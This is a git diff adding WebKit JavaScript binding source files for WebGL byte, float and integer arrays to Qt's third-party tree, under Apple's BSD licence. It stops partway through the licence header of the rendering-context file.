diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayConstructor.cpp
new file mode 100644
index 0000000..f76fb1d
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayConstructor.cpp
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLByteArrayConstructor.h"
+
+#include "Document.h"
+#include "WebGLByteArray.h"
+#include "JSWebGLArrayBuffer.h"
+#include "JSWebGLArrayBufferConstructor.h"
+#include "JSWebGLByteArray.h"
+#include <runtime/Error.h>
+
+namespace WebCore {
+
+using namespace JSC;
+
+const ClassInfo JSWebGLByteArrayConstructor::s_info = { "WebGLByteArrayConstructor", &JSWebGLArray::s_info, 0, 0 };
+
+JSWebGLByteArrayConstructor::JSWebGLByteArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+    : DOMConstructorObject(JSWebGLByteArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+{
+    putDirect(exec->propertyNames().prototype, JSWebGLByteArrayPrototype::self(exec, globalObject), None);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
+}
+
+static JSObject* constructCanvasByteArray(ExecState* exec, JSObject* constructor, const ArgList& args)
+{
+    JSWebGLByteArrayConstructor* jsConstructor = static_cast<JSWebGLByteArrayConstructor*>(constructor);
+    RefPtr<WebGLByteArray> array = static_cast<WebGLByteArray*>(construct<WebGLByteArray, signed char>(exec, args).get());
+    if (!array.get()) {
+        setDOMException(exec, INDEX_SIZE_ERR);
+        return 0;
+    }
+    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
+}
+
+JSC::ConstructType JSWebGLByteArrayConstructor::getConstructData(JSC::ConstructData& constructData)
+{
+    constructData.native.function = constructCanvasByteArray;
+    return ConstructTypeHost;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayConstructor.h
new file mode 100644
index 0000000..a201567
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayConstructor.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLByteArrayConstructor_h
+#define JSWebGLByteArrayConstructor_h
+
+#include "JSDOMBinding.h"
+#include "JSDocument.h"
+
+namespace WebCore {
+
+    class JSWebGLByteArrayConstructor : public DOMConstructorObject {
+    public:
+        JSWebGLByteArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
+        static const JSC::ClassInfo s_info;
+
+    private:
+        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    };
+
+}
+
+#endif // JSWebGLByteArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayCustom.cpp
new file mode 100644
index 0000000..f7872a8
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLByteArrayCustom.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLArrayHelper.h"
+#include "JSWebGLByteArray.h"
+
+#include "WebGLByteArray.h"
+
+#include <runtime/Error.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+void JSWebGLByteArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
+{
+    impl()->set(index, static_cast<signed char>(value.toInt32(exec)));
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, WebGLByteArray* object)
+{
+    return getDOMObjectWrapper<JSWebGLByteArray>(exec, globalObject, object);
+}
+
+JSC::JSValue JSWebGLByteArray::set(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() < 1 || args.size() > 2)
+        return throwError(exec, SyntaxError);
+
+    if (args.size() == 2 && args.at(0).isInt32()) {
+        // void set(in unsigned long index, in long value);
+        unsigned index = args.at(0).toUInt32(exec);
+        impl()->set(index, static_cast<signed char>(args.at(1).toInt32(exec)));
+        return jsUndefined();
+    }
+
+    WebGLByteArray* array = toWebGLByteArray(args.at(0));
+    if (array) {
+        // void set(in WebGLByteArray array, [Optional] in unsigned long offset);
+        unsigned offset = 0;
+        if (args.size() == 2)
+            offset = args.at(1).toInt32(exec);
+        ExceptionCode ec = 0;
+        impl()->set(array, offset, ec);
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    return setWebGLArrayFromArray(exec, impl(), args);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayConstructor.cpp
new file mode 100644
index 0000000..e6375ac
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayConstructor.cpp
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLFloatArrayConstructor.h"
+
+#include "Document.h"
+#include "WebGLFloatArray.h"
+#include "JSWebGLArrayBuffer.h"
+#include "JSWebGLArrayBufferConstructor.h"
+#include "JSWebGLFloatArray.h"
+#include <runtime/Error.h>
+
+namespace WebCore {
+
+using namespace JSC;
+
+const ClassInfo JSWebGLFloatArrayConstructor::s_info = { "WebGLFloatArrayConstructor", &JSWebGLArray::s_info, 0, 0 };
+
+JSWebGLFloatArrayConstructor::JSWebGLFloatArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+    : DOMConstructorObject(JSWebGLFloatArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+{
+    putDirect(exec->propertyNames().prototype, JSWebGLFloatArrayPrototype::self(exec, globalObject), None);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
+}
+
+static JSObject* constructCanvasFloatArray(ExecState* exec, JSObject* constructor, const ArgList& args)
+{
+    JSWebGLFloatArrayConstructor* jsConstructor = static_cast<JSWebGLFloatArrayConstructor*>(constructor);
+    RefPtr<WebGLFloatArray> array = static_cast<WebGLFloatArray*>(construct<WebGLFloatArray, float>(exec, args).get());
+    if (!array.get()) {
+        setDOMException(exec, INDEX_SIZE_ERR);
+        return 0;
+    }
+    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
+}
+
+JSC::ConstructType JSWebGLFloatArrayConstructor::getConstructData(JSC::ConstructData& constructData)
+{
+    constructData.native.function = constructCanvasFloatArray;
+    return ConstructTypeHost;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayConstructor.h
new file mode 100644
index 0000000..faf90ff
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayConstructor.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLFloatArrayConstructor_h
+#define JSWebGLFloatArrayConstructor_h
+
+#include "JSDOMBinding.h"
+#include "JSDocument.h"
+
+namespace WebCore {
+
+    class JSWebGLFloatArrayConstructor : public DOMConstructorObject {
+    public:
+        JSWebGLFloatArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
+        static const JSC::ClassInfo s_info;
+
+    private:
+        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    };
+
+}
+
+#endif // JSWebGLFloatArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayCustom.cpp
new file mode 100644
index 0000000..f4acbcf
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLFloatArrayCustom.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLArrayHelper.h"
+#include "JSWebGLFloatArray.h"
+
+#include "WebGLFloatArray.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+void JSWebGLFloatArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
+{
+    impl()->set(index, static_cast<float>(value.toNumber(exec)));
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, WebGLFloatArray* object)
+{
+    return getDOMObjectWrapper<JSWebGLFloatArray>(exec, globalObject, object);
+}
+
+JSC::JSValue JSWebGLFloatArray::set(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() > 2)
+        return throwError(exec, SyntaxError);
+
+    if (args.size() == 2 && args.at(0).isInt32()) {
+        // void set(in unsigned long index, in float value);
+        unsigned index = args.at(0).toUInt32(exec);
+        impl()->set(index, static_cast<float>(args.at(1).toNumber(exec)));
+        return jsUndefined();
+    }
+
+    WebGLFloatArray* array = toWebGLFloatArray(args.at(0));
+    if (array) {
+        // void set(in WebGLFloatArray array, [Optional] in unsigned long offset);
+        unsigned offset = 0;
+        if (args.size() == 2)
+            offset = args.at(1).toInt32(exec);
+        ExceptionCode ec = 0;
+        impl()->set(array, offset, ec);
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    return setWebGLArrayFromArray(exec, impl(), args);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayConstructor.cpp
new file mode 100644
index 0000000..5b14803
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayConstructor.cpp
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLIntArrayConstructor.h"
+
+#include "Document.h"
+#include "WebGLIntArray.h"
+#include "JSWebGLArrayBuffer.h"
+#include "JSWebGLArrayBufferConstructor.h"
+#include "JSWebGLIntArray.h"
+#include <runtime/Error.h>
+
+namespace WebCore {
+
+using namespace JSC;
+
+const ClassInfo JSWebGLIntArrayConstructor::s_info = { "WebGLIntArrayConstructor", &JSWebGLArray::s_info, 0, 0 };
+
+JSWebGLIntArrayConstructor::JSWebGLIntArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+    : DOMConstructorObject(JSWebGLIntArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+{
+    putDirect(exec->propertyNames().prototype, JSWebGLIntArrayPrototype::self(exec, globalObject), None);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
+}
+
+static JSObject* constructCanvasIntArray(ExecState* exec, JSObject* constructor, const ArgList& args)
+{
+    JSWebGLIntArrayConstructor* jsConstructor = static_cast<JSWebGLIntArrayConstructor*>(constructor);
+    RefPtr<WebGLIntArray> array = static_cast<WebGLIntArray*>(construct<WebGLIntArray, int>(exec, args).get());
+    if (!array.get()) {
+        setDOMException(exec, INDEX_SIZE_ERR);
+        return 0;
+    }
+    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
+}
+
+JSC::ConstructType JSWebGLIntArrayConstructor::getConstructData(JSC::ConstructData& constructData)
+{
+    constructData.native.function = constructCanvasIntArray;
+    return ConstructTypeHost;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayConstructor.h
new file mode 100644
index 0000000..d42c046
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayConstructor.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLIntArrayConstructor_h
+#define JSWebGLIntArrayConstructor_h
+
+#include "JSDOMBinding.h"
+#include "JSDocument.h"
+
+namespace WebCore {
+
+    class JSWebGLIntArrayConstructor : public DOMConstructorObject {
+    public:
+        JSWebGLIntArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
+        static const JSC::ClassInfo s_info;
+
+    private:
+        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    };
+
+}
+
+#endif // JSWebGLIntArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayCustom.cpp
new file mode 100644
index 0000000..de08256
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLIntArrayCustom.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLArrayHelper.h"
+#include "JSWebGLIntArray.h"
+
+#include "WebGLIntArray.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+void JSWebGLIntArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
+{
+    impl()->set(index, static_cast<signed int>(value.toInt32(exec)));
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, WebGLIntArray* object)
+{
+    return getDOMObjectWrapper<JSWebGLIntArray>(exec, globalObject, object);
+}
+
+JSC::JSValue JSWebGLIntArray::set(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() > 2)
+        return throwError(exec, SyntaxError);
+
+    if (args.size() == 2 && args.at(0).isInt32()) {
+        // void set(in unsigned long index, in long value);
+        unsigned index = args.at(0).toUInt32(exec);
+        impl()->set(index, static_cast<signed int>(args.at(1).toInt32(exec)));
+        return jsUndefined();
+    }
+
+    WebGLIntArray* array = toWebGLIntArray(args.at(0));
+    if (array) {
+        // void set(in WebGLIntArray array, [Optional] in unsigned long offset);
+        unsigned offset = 0;
+        if (args.size() == 2)
+            offset = args.at(1).toInt32(exec);
+        ExceptionCode ec = 0;
+        impl()->set(array, offset, ec);
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    return setWebGLArrayFromArray(exec, impl(), args);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLRenderingContextCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLRenderingContextCustom.cpp
new file mode 100644
index 0000000..e336027
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLRenderingContextCustom.cpp
@@ -0,0 +1,835 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
